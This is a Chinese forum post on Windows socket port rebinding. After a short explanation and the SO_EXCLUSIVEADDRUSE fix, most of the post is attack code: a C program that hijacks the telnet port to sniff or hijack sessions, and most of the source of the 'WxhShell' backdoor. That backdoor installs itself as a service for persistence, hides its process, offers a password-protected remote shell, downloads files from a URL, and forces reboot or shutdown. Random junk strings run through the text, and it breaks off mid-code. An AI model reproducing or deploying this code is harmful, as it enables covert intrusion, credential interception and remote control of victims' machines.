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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Oy>u/g~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); p BU,"Yy&  
|)4Fe/!cJ  
  saddr.sin_family = AF_INET; R2uekpP  
R0>GM`{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 1\G S"4~P  
e C\;n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); di^E8egR$  
j. 1@{H  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 e !_+TyI  
0 t.'?=  
  这意味着什么?意味着可以进行如下的攻击: 5#Z>}@/  
QIZ }7  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Gn}G$uk61  
<pAN{:  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) tYE\tbCO'  
>f7;45i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Kh{C$b  
G&P[n8Z$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  !`j}%!K!  
U&DD+4+28:  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 yb)!jLnH  
tqdw y.  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]w2nVC 3  
S.,om;`  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ^Fmp"[q  
5[^pU$Y  
  #include  \*5`@>_  
  #include P+tnXT>nE  
  #include zoFCHs r  
  #include    ZaxBr  
  DWORD WINAPI ClientThread(LPVOID lpParam);   sxac( L  
  int main() 07L >@Gf  
  { 9 gt$z}oU  
  WORD wVersionRequested; ][Ne;F6  
  DWORD ret; lFHj]%Y  
  WSADATA wsaData; {rp5qgVE<  
  BOOL val; h_O6Z2J1  
  SOCKADDR_IN saddr; LEnm6  
  SOCKADDR_IN scaddr; 5v&mK 5zZ  
  int err; lPA:aHcj  
  SOCKET s; >]DnEF&  
  SOCKET sc; 6pyLb3[e  
  int caddsize; Q};g~b3  
  HANDLE mt; u;{,,ct  
  DWORD tid;   .<GU2&;!  
  wVersionRequested = MAKEWORD( 2, 2 ); sn.Xvk%75  
  err = WSAStartup( wVersionRequested, &wsaData ); mGf@J6wGz  
  if ( err != 0 ) { :nk$?5ib  
  printf("error!WSAStartup failed!\n"); Qyn~Vu43  
  return -1; Mp8BilH-T  
  } lO?dI=}]  
  saddr.sin_family = AF_INET; rlQ4+~  
   ^pAgo B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 i+`N0!8lY  
Knd2s~S  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G5JZpB#o  
  saddr.sin_port = htons(23); {yPJYF_l  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) B2}|b^'I  
  { R?,Oh*  
  printf("error!socket failed!\n"); Ni"M.O);t  
  return -1; q|Oz   
  } "qb1jv#to  
  val = TRUE; 1y/_D$~ZO  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 3`V #ImV>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [QC|Kd^#  
  { -b?yzg, 8  
  printf("error!setsockopt failed!\n"); )ad-p.Hus  
  return -1; <F~0D0G  
  } ^ +e5 M1U=  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~,199K#'  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 U _QCe+  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 I/F3%'O  
dd$}FlT  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Vn4y^_H  
  { =!@5!  
  ret=GetLastError(); gO{XD.s  
  printf("error!bind failed!\n"); Re`'dde=  
  return -1; HY (|31  
  } D_n(T ')  
  listen(s,2); )0RznFJ+X  
  while(1) :fxG]uf-P  
  { 3B{B6w}t&  
  caddsize = sizeof(scaddr); fu}ZOPu  
  //接受连接请求 }ioHSkCD  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 7hg)R @OC  
  if(sc!=INVALID_SOCKET) bV'^0(Zv  
  { Sdk:-Zuv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3&'u7e  
  if(mt==NULL) STfcx] L  
  { _{d0Nm  
  printf("Thread Creat Failed!\n"); r`t|}m  
  break; WH@CH4WM  
  } Sqt '}  
  } yXuc< m  
  CloseHandle(mt); JjD'2"z  
  } n"p|tEK  
  closesocket(s); s]D&):  
  WSACleanup(); 38I.1p9  
  return 0; g~>g])  
  }   sBsf{%I[{  
  DWORD WINAPI ClientThread(LPVOID lpParam) -d|Q|zF^x  
  { u{Z 4M3U  
  SOCKET ss = (SOCKET)lpParam; nDt1oM H  
  SOCKET sc; ]HpKDb0+  
  unsigned char buf[4096]; |H!kU.f]  
  SOCKADDR_IN saddr; BtPUUy.  
  long num; sYt\3/yL'  
  DWORD val; L<GF1I)  
  DWORD ret; k7R8Q~4  
  //如果是隐藏端口应用的话,可以在此处加一些判断 @|N'V"*MT  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   S 54N  
  saddr.sin_family = AF_INET; 2}NWFM3C  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); I04GQql  
  saddr.sin_port = htons(23); ?1DA  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) l6YToYzE2  
  { ??4#)n k  
  printf("error!socket failed!\n"); LjE@[@d  
  return -1; U\crp T`  
  } X^2Txm d  
  val = 100; E3p3DM0F$  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) u]D>O$_ s  
  { Sqc r -  
  ret = GetLastError(); ?Aewp$Bj  
  return -1; R<5GG|(B  
  } zOkIPv52~  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ]bPj%sb*@  
  { 1XwW4cZ>:  
  ret = GetLastError(); ]VYv>o`2  
  return -1; R')D~JJ<8a  
  } O%w"bEr)N  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) UG]]Vk1d]  
  { <c,/+ lQ^  
  printf("error!socket connect failed!\n"); .e^AS~4pl  
  closesocket(sc); (%i)A$i6a  
  closesocket(ss); c h_1 -  
  return -1; li U=&wM>  
  } 5|4=uoA<  
  while(1) st b)Tl^  
  { -{ae  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 aMUy^>  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 8 |@WuD  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 %lr<;   
  num = recv(ss,buf,4096,0); i?*_-NAm  
  if(num>0) "agc*o~!F  
  send(sc,buf,num,0); [f_4%Now  
  else if(num==0) rh8.kW-K_  
  break; Bi!j re  
  num = recv(sc,buf,4096,0); jK!Y-  
  if(num>0) 9PU9BYBG  
  send(ss,buf,num,0); ]m>N!Iu  
  else if(num==0) v7V.,^6+  
  break; z>,fuR?9  
  } zoj3w|G  
  closesocket(ss); <Z$r\Huf  
  closesocket(sc); i8]2y  
  return 0 ; wR x5` @  
  } 3?}W0dZ$d  
X5(S+;v"^  
r]C`#  
========================================================== 2u(v hJ F5  
!7m )QNV  
下边附上一个代码,,WXhSHELL x[ sSM:  
K2W$I H:.  
========================================================== =:|fN3nJ2  
eH*u,/  
#include "stdafx.h" d%"?^e  
:;wb{q$O  
#include <stdio.h> !Q`vOVSUD  
#include <string.h> z_Nw%V4kr  
#include <windows.h> 3#IU^6l:1S  
#include <winsock2.h> RWN2 P6  
#include <winsvc.h> #ny&bJj  
#include <urlmon.h> 6{XdLI  
l~Em2@c  
#pragma comment (lib, "Ws2_32.lib") ]<V,5'xh  
#pragma comment (lib, "urlmon.lib") ,%|$# g 0  
r N"P IH  
#define MAX_USER   100 // 最大客户端连接数 L$ nFRl&  
#define BUF_SOCK   200 // sock buffer "8bxb  
#define KEY_BUFF   255 // 输入 buffer l&]Wyaz@n  
,P?R 3  
#define REBOOT     0   // 重启 ?89ZnH2/  
#define SHUTDOWN   1   // 关机 vYYLn9}5  
:6,qp?/  
#define DEF_PORT   5000 // 监听端口 A? =(q  
mXX9Aa>  
#define REG_LEN     16   // 注册表键长度 6l{=[\.Xa  
#define SVC_LEN     80   // NT服务名长度 .szs?  
[jOvy>2K]  
// 从dll定义API 7_AR()CM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); OMr&f8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 80/6-_g(  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q=o"] 6  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qx_K)  
pB3dx#l  
// wxhshell配置信息 [n53 eC  
struct WSCFG { if S) < t  
  int ws_port;         // 监听端口 JD\:bI  
  char ws_passstr[REG_LEN]; // 口令 v{R:F  
  int ws_autoins;       // 安装标记, 1=yes 0=no .] S{T  
  char ws_regname[REG_LEN]; // 注册表键名 0@ -3U{Q  
  char ws_svcname[REG_LEN]; // 服务名 p'`SYEY@Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 JG2)-x;9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C ?^si  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :&]THUw  
int ws_downexe;       // 下载执行标记, 1=yes 0=no . PzlhTL7  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  2Z ? N  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dM A"% R  
~}SOd<n)|  
}; UUxDW3K  
$ }u,uI  
// default Wxhshell configuration /r4QDwu  
struct WSCFG wscfg={DEF_PORT, aZe[Nos  
    "xuhuanlingzhe", yM3]<~m  
    1, Qi_De '@  
    "Wxhshell", G1Qc\mp  
    "Wxhshell", IZ2c<B5&  
            "WxhShell Service", R+c  {Pl  
    "Wrsky Windows CmdShell Service", 6j]pJ]F6  
    "Please Input Your Password: ", ty8\@l  
  1, 'qosw:P  
  "http://www.wrsky.com/wxhshell.exe", G(alM=q  
  "Wxhshell.exe" u -CCUMR  
    }; a;Nj'M~U  
HWr")%EhD  
// 消息定义模块 . Q#X'j  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #+1*g4m~B  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]LvpYRU$P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [*-DtbEk  
char *msg_ws_ext="\n\rExit."; ODG OWw0  
char *msg_ws_end="\n\rQuit."; \#bk$R@  
char *msg_ws_boot="\n\rReboot..."; 6 u3$ .Q  
char *msg_ws_poff="\n\rShutdown..."; UTatcn  
char *msg_ws_down="\n\rSave to "; hM!D6: t  
:Fm{U0;"  
char *msg_ws_err="\n\rErr!"; 5"f')MKUV9  
char *msg_ws_ok="\n\rOK!"; EM_`` 0^  
zh hH A9  
char ExeFile[MAX_PATH]; YpFh_Zr[  
int nUser = 0; 4XkSj9D~z  
HANDLE handles[MAX_USER]; IC-k  
int OsIsNt; =H'7g 6  
-{ Ng6ntS  
SERVICE_STATUS       serviceStatus; k^|P8v+"D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; it2@hZc5  
I_Q*uH.Y5  
// 函数声明 ToUeXU [  
int Install(void); `Gl@?9,i  
int Uninstall(void); RH,1U3?  
int DownloadFile(char *sURL, SOCKET wsh); p,y(Fc~]g'  
int Boot(int flag); R<}Yf[TQ  
void HideProc(void); |%F[.9Dp  
int GetOsVer(void); U]!D=+  
int Wxhshell(SOCKET wsl); 0|0<[:(hc  
void TalkWithClient(void *cs); 8:j8>K*6  
int CmdShell(SOCKET sock); u S$:J:Drx  
int StartFromService(void); $-dz1}  
int StartWxhshell(LPSTR lpCmdLine); e1e2Wk  
wv 7j ES  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); C<!%VHs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); V 0<>Xo%  
0Hz*L,Bh4  
// 数据结构和表定义 yqpb_h9  
SERVICE_TABLE_ENTRY DispatchTable[] = c\.8hd=<  
{ :*wnO;eN  
{wscfg.ws_svcname, NTServiceMain}, jk0Ja@8PK  
{NULL, NULL} C0\A  
}; AiXxn'&i  
P^-tGo!  
// 自我安装 SwESDo)  
int Install(void) 0K -jF5i$`  
{ 3P1OyB  
  char svExeFile[MAX_PATH]; tHhA _  
  HKEY key; ,q yp2Y7  
  strcpy(svExeFile,ExeFile); !]tZE%?  
y//yLrs;  
// 如果是win9x系统,修改注册表设为自启动 z6tH2Wxf  
if(!OsIsNt) { `TBI{q[y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d%$'Y|  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Y'NQt?h  
  RegCloseKey(key); Sm2 |I6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nl_Sgyx,\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,B>Rc#  
  RegCloseKey(key); ;>o}/h  
  return 0; b 469  
    } sjLI^#a  
  } Vi~9[&.E\!  
} em@\S  
else { j HT2|VGb*  
neGCMKtzlJ  
// 如果是NT以上系统,安装为系统服务 %DAF2 6t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9}`A_KzFx  
if (schSCManager!=0) 1uTbN  
{ #D"fCVIS  
  SC_HANDLE schService = CreateService _"8\k 7S*  
  ( 56Q9RU(M  
  schSCManager, pq`Bg`c  
  wscfg.ws_svcname, JFx=X=C  
  wscfg.ws_svcdisp, NGHzifaE   
  SERVICE_ALL_ACCESS, (,<ti):  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , J[:3H6%`  
  SERVICE_AUTO_START, Gc) Zu`67  
  SERVICE_ERROR_NORMAL, djVE x }  
  svExeFile, eATX8`W  
  NULL, EM+_c)d}  
  NULL, !$'s?rnh  
  NULL, j|f$:j  
  NULL, fDmGgD?  
  NULL %(`4wo},  
  ); pb~&gliW  
  if (schService!=0) c43" o  
  { 6a G/=fq  
  CloseServiceHandle(schService); _DChNX   
  CloseServiceHandle(schSCManager); iP1u u  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ws[[Me, =  
  strcat(svExeFile,wscfg.ws_svcname); ]p(jL7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <tZPS`c'_  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 1MdVWFKXV  
  RegCloseKey(key); \*#9Ry^f  
  return 0; UOrf wK  
    } jP6;~[rl  
  } .^^YS$%%7  
  CloseServiceHandle(schSCManager); F{ cKCqI?  
} ]*+ozAG4  
} rIz"_r  
zmI?p4,  
return 1; XfF Z;ul  
} `, ?T;JRc  
!*wK4UcX"  
// 自我卸载 b'Gn)1NE  
int Uninstall(void) 6KmF 9  
{ kW&{0xkGR  
  HKEY key; <o5+*X  
q2}<n'o+  
if(!OsIsNt) { Lxm1.TOJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K#g)t/SZ  
  RegDeleteValue(key,wscfg.ws_regname); JcxhI]E  
  RegCloseKey(key); <,,U>0?3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .IYE+XzV  
  RegDeleteValue(key,wscfg.ws_regname); S2)rkX$  
  RegCloseKey(key); ,,r%Y&:`6  
  return 0; -b-Pvw4  
  } )2mi6[qs0l  
} v7VJVLH,I7  
} u]P0:)tS.  
else { /ve8);cH\  
H"8+[.xBh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); kStWsc$;+T  
if (schSCManager!=0) B[F,D  
{ x,"'\=|s*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); vB, X)  
  if (schService!=0)  hM2^[8  
  { 'j];tO6GfC  
  if(DeleteService(schService)!=0) { v/f&rK*>  
  CloseServiceHandle(schService); d [z+/L  
  CloseServiceHandle(schSCManager); T"-HBwl  
  return 0; @W|}|V5  
  } HUurDgRi]  
  CloseServiceHandle(schService); @Nb&f<+gi  
  } { hUbK+dKZ  
  CloseServiceHandle(schSCManager); OL*EY:]  
} fRJSo%  
} s%`o  
Rxld$@~-(]  
return 1; ZWW:-3  
} ^I9x@t  
P-ma~g>I  
// 从指定url下载文件 :NHh`@0F  
int DownloadFile(char *sURL, SOCKET wsh) '3eP<earRP  
{ MId\ dFu  
  HRESULT hr; u2'xM0nQ  
char seps[]= "/"; >4=sEj  
char *token; < 2w@5qL  
char *file; kEWC  
char myURL[MAX_PATH]; xmZ]mu,,$  
char myFILE[MAX_PATH]; D!TL~3d 1  
s]0x^"#B  
strcpy(myURL,sURL); c]O3pcU  
  token=strtok(myURL,seps); Y;S+2])R2  
  while(token!=NULL) T$13"?sr=  
  { '.oEyZA;o  
    file=token; "2(4?P  
  token=strtok(NULL,seps); Y+ P\5G  
  } r: n^U#  
6R5) &L  
GetCurrentDirectory(MAX_PATH,myFILE); ]t]s/;9]K  
strcat(myFILE, "\\"); N. 3 x[%:  
strcat(myFILE, file); p_ =^E*J]  
  send(wsh,myFILE,strlen(myFILE),0); ptGM'  
send(wsh,"...",3,0); |/zE(ePc{  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Q~]#x![u0  
  if(hr==S_OK) mY2 Ubn*  
return 0; t)XNS!6#]?  
else ?f[#O&#  
return 1; j&) +qTV  
[-_u{j  
} +Ck<tx3h&  
GWRKiTu9  
// 系统电源模块 6w<jg/5t  
int Boot(int flag) NMmk,  
{ _QfA'32S  
  HANDLE hToken; 1p>5ZkHb  
  TOKEN_PRIVILEGES tkp; Z<z(;)?c  
UceZW tYa  
  if(OsIsNt) { XX~~SvSM  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q$G!-y+"i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MzsDWx;eJ  
    tkp.PrivilegeCount = 1; ge?1ez2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +LV~%?W  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); k 61Ot3  
if(flag==REBOOT) { $d?<(n  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ?AX./LI  
  return 0; # 9Z];<g  
} ( du<0J|PT  
else { 8vK Z;  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) gO4` e(W  
  return 0; Z1u{.^~^z  
} 8$-(%  
  } 828E^Q"<  
  else { rC}r99Pe:x  
if(flag==REBOOT) { 6~V$0Y>]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YY{S0jnhF  
  return 0; FkR9-X<  
} z#GZvB/z)  
else { Hb=4k)-/]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) cD Z]r@AQ  
  return 0; 0Z8K+,'!  
} rgdDkWLXC  
} (}vi"mCeW  
)U e9:e  
return 1; > y"V%  
} aGx`ec*t  
3J~Q pw0<  
// win9x进程隐藏模块 Jj_E/c"  
void HideProc(void) i,M<}e1  
{ * Ibl+  
X a#`VDh  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); g:`V:kbY$  
  if ( hKernel != NULL ) Wcl@ H @  
  { tM <6c+  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); wlKfTJrn&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); G+[hE|L~y  
    FreeLibrary(hKernel); o X )r4H?  
  } Wd?(B4{  
?kX$Y{M}  
return; 4a00-y='  
} i5w  
XLz>h(w=  
// 获取操作系统版本 #GT/Q3{C  
int GetOsVer(void) u)y6$  
{ J,%v`A~ N  
  OSVERSIONINFO winfo; yYwZZa1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); b;`gxXeL  
  GetVersionEx(&winfo); lhva|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Z{xm(^'i  
  return 1; .&=nP?ZPC6  
  else fI;6!M#  
  return 0; T?{"T/  
} 5ycccMx0V  
,IF3VE&r  
// 客户端句柄模块 PsMoH/+"  
int Wxhshell(SOCKET wsl) 4,!#E0  
{ Hly2{hokq  
  SOCKET wsh; DXl3  
  struct sockaddr_in client; <XiHQ B!  
  DWORD myID; e82SG8#]  
thIuK V{CO  
  while(nUser<MAX_USER) QI'ule  
{ Vb az#I  
  int nSize=sizeof(client); 1[OCojo<  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); w2_$>z  
  if(wsh==INVALID_SOCKET) return 1; ~cQ./G4  
FM$XMD0=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *,q ?mO  
if(handles[nUser]==0) C;];4[XR  
  closesocket(wsh); d5T M_ C  
else b1JXC=*@  
  nUser++; p;zV4uSv  
  }  0eUK'   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =v]\{ .  
eG* <=.E  
  return 0; Y|FF ;[  
} YAQ]2<H  
 yaza  
// 关闭 socket P~`gWGC}  
void CloseIt(SOCKET wsh) @?lmho?  
{ ]Qm$S5tU  
closesocket(wsh); d,AEV_  
nUser--; `w';}sQA7  
ExitThread(0); bYQvh/(J  
} b6Pi:!4  
wO9|_.Z{  
// 客户端请求句柄 ej,j1iB  
void TalkWithClient(void *cs) k/o"E  
{ EKo!vie G  
_b|mSo,{Y  
  SOCKET wsh=(SOCKET)cs; j>Wb$p6S  
  char pwd[SVC_LEN]; c u*8,*FU  
  char cmd[KEY_BUFF]; WyciIO1  
char chr[1]; IA I!a1e!  
int i,j; ~ (bY-6z  
S^(OjS  
  while (nUser < MAX_USER) { w#mnab@  
$X<O\Kna  
if(wscfg.ws_passstr) { l*~O;do  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ?!TFoD2'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9oBK(Sf@^  
  //ZeroMemory(pwd,KEY_BUFF); 1c8Nr&Jl  
      i=0; E#}OIZ\S  
  while(i<SVC_LEN) { #0>??]&r  
}#):ZPTs  
  // 设置超时 YbAa@Sq@  
  fd_set FdRead; '/M9V{DD88  
  struct timeval TimeOut; z,dh?%H>X  
  FD_ZERO(&FdRead); hS&3D6G t  
  FD_SET(wsh,&FdRead); @ =g Px  
  TimeOut.tv_sec=8; U[7 &   
  TimeOut.tv_usec=0; S v3O${B|  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); w3l2u1u  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c IK  
%d?.v_Hu0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S;@nPzhc  
  pwd=chr[0]; vDI$ QUMD6  
  if(chr[0]==0xd || chr[0]==0xa) { t 7GK\B8:  
  pwd=0; >}<1  
  break; 3{c6)vR2  
  } =D-u".{  
  i++; =T"R_3[NC  
    } "y~tAg  
fghw\\]3  
  // 如果是非法用户,关闭 socket )&/ecx"2Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (~S=DFsP  
} eka<mq|W  
qFQO1"mu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); by}C;eN  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xf2|9Tqt  
NJ]AxFG  
while(1) { 7slpj8  
-t#YL  
  ZeroMemory(cmd,KEY_BUFF); )+Gw Yt  
B|WM;Y^  
      // 自动支持客户端 telnet标准   <|-da&7  
  j=0; 'Fq +\J#%  
  while(j<KEY_BUFF) { a4d7;~tZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jD}G9=[$1  
  cmd[j]=chr[0]; wWkMvs  
  if(chr[0]==0xa || chr[0]==0xd) { ?iXN..6x  
  cmd[j]=0; I<+EXH%1,  
  break; lKdd3W"o  
  } h~EGRg  
  j++; '[WVP=M<XV  
    } !d.bCE~  
X,xCR]+5S  
  // 下载文件 d#8 n<NM  
  if(strstr(cmd,"http://")) { [&(~{#}M:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); j+"w2  
  if(DownloadFile(cmd,wsh)) .9NYa|+0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n2A ; `=  
  else k\76`!B  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }G/!9Zq  
  } UaCfXTG  
  else { c-VIpA1  
B\54eTn  
    switch(cmd[0]) { =;Q:z^S  
  3xIelTf*  
  // 帮助 /7N&4FrG  
  case '?': { }3O 0nab  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qdnwaJ;&  
    break; Lv&9s  
  } LvqWA}  
  // 安装 )FpizoVq0  
  case 'i': { a%nf )-}|  
    if(Install()) dtj+ av G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {8* d{0l  
    else 3 \}>nE  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gNHS:k\"  
    break; @}\i`H1s  
    } W1Vy5V|M  
  // 卸载 "wy2u~  
  case 'r': { j:2TicHDC  
    if(Uninstall()) s_;o1 K0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k{F]^VXQ  
    else B#DnU;=O#+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5szJ.!(  
    break; \ )WS^KR%  
    } $35C1"  
  // 显示 wxhshell 所在路径 )b?$ 4<X^  
  case 'p': { uv=a}U;  
    char svExeFile[MAX_PATH]; \Up~ "q>Kb  
    strcpy(svExeFile,"\n\r"); b4qMTRnv  
      strcat(svExeFile,ExeFile); NDUH10Y:[  
        send(wsh,svExeFile,strlen(svExeFile),0); 9.%t9RM^  
    break; i E?yvtr8  
    } b>2{F6F  
  // 重启 ZkJLq[:cM  
  case 'b': { VqUCcT  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B*(BsXQLY  
    if(Boot(REBOOT)) M5a&eO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @O`T|7v  
    else { uUiS:Tp]  
    closesocket(wsh); 9=q&SG  
    ExitThread(0); [l/!&6  
    } jF@BWPtF=  
    break; JZdRAL2#v  
    } efNscgi  
  // 关机 7gcR/HNeF  
  case 'd': { = GyABK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); &]h`kvtBC  
